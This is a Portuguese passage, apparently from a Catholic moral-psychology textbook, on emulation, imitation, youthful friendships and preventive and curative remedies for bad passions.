de nossa conduta, no íntimo de nossa consciência.

b)     A emulação. Daí se depreende o que é
necessário pensar da emulação. Ela pode ter sua utilidade. Mas é necessário
guardar-se de certos excessos muito freqüentes. É necessário evitar deixar a
emulação transformar-se em rivalidade irritante, em orgulho. em desejo de
dominar. A melhor emulação não consiste tanto em colocar-se alguém em paralelo
com os outros, mas em colocar-se em paralelo consigo mesmo: convém, antes de
tudo, comparar o qi>t fomos antes com o que somos hoje, a fim de
compreender que se trata menos de ultrapassar os outros, do que ultrapassar a
si mesmo.

2. Inclinações sociais. — Estas inclinações se
manifestam, sobretudo, sob a forma da imitação e das afeições
simpáticas.

a)     A imitação. O homem é naturalmente
imitador, e pode-se conceber imediatamente qual será o poder do exemplo sobre
nós, mormente na juventude, quando não se conseguiu adquirir um juízo pessoal
sobre as coisas da vida. Cumpre, por isso, escolher os lugares onde
freqüentar, evitar quanto possível qualquer convivência em que se corra o risco
de sofrer o contágio dos maus exemplos. É conhecido o provérbio, tantas vezes
verificado: "Dize-me com quem andas, que te direi quem és."

b)     As afeições simpáticas. Quanto às
afeições simpáticas, elas não são em si más, tanto quanto possam parecer, mas
devem ser atentamente vigiadas. As amizades da juventude podem ser simplesmente
uma ajuda e um auxílio. Mas acontece muitas vezes, também, que se oferece uma
amizade sem reflexão, ou que nos entreguemos ou nos isolemos com uma incrível
leviandade. Devemos, por isso, aprender a governar os sentimentos do
coração.
— Enfim, acontece, por vezes, que certas amizades precoces tenham
alguma coisa de inquieto e apaixonado, e se tornem facilmente absorventes. Este
é o sinal de uma sensibilidade afetiva desordenada, que é necessário
trabalhar    para dominar e moderar.

§ 2.    Remédios
para as paixões más

131      Não
basta trabalhar para desenvolver em nós as boas inclinações, mas é necessário
ainda esforçar-se por vencer as inclinações más e evitar ou domar as paixões
malsãs. Quer dizer que existe lugar para empregar remédios preventivos e
remédios curativos.

1. Remédios preventivos. — Sabemos que a paixão pode
nascer, quer das disposições fisiológicas ou morais, quer das circunstâncias
exteriores. Cumpre, então, chamar a atenção para estes dois pontos:

a) A imaginação é a grande fonte das paixões.
Por isso, neste domínio, tudo se resume em aplicar as regras que demos a propósito
da imaginação. — Quanto ao temperamento físico, é conveniente esclarecer
se ele é ou não perfeitamente são, e, em caso negativo, fazer intervir os
remédios físicos apropriados.

b) As circunstâncias exteriores têm uma grande
influência sobre a formação das paixões. Estas circunstâncias, na maior parte
do tempo, não dependem de nós. Pelo menos, convém não criar voluntária ou
imprudentemente circunstâncias que sejam perigosas: deste ponto-de-vista as leituras
e os espetáculos
devem tornar-se objeto de uma escolha escrupulosa. Que nós nos lembremos destas palavras: "Quem ama o perigo, nele
morrerá."

Acima de tudo, é necessário esforçar-se para adquirir
uma vontade forte, como o mostraremos mais adiante.

2. Remédios curativos. — Quando uma paixão má se manifesta,
como  poderemos combatê-la?

a)     A luta direta nem sempre é indicada, e é
mesmo muito paro que tenha bons resultados. Em regra geral, não se combate
eficazmente uma paixão a não ser por uma paixão contrária.

b)     Em certos casos, contudo, a luta direta pode
mostrar-se eficaz.
Seu processo consiste em associar às paixões alguma
emoção desagradável.
É assim que se luta contra a covardia, contra a
sensualidade etc, expondo as detestáveis conseqüências destas paixões:
vergonha, desprezo, perturbações físicas. Acima de tudo, a idéia do
pecado e a ofensa feita a Deus devem ser eficazes nas almas cristãs.

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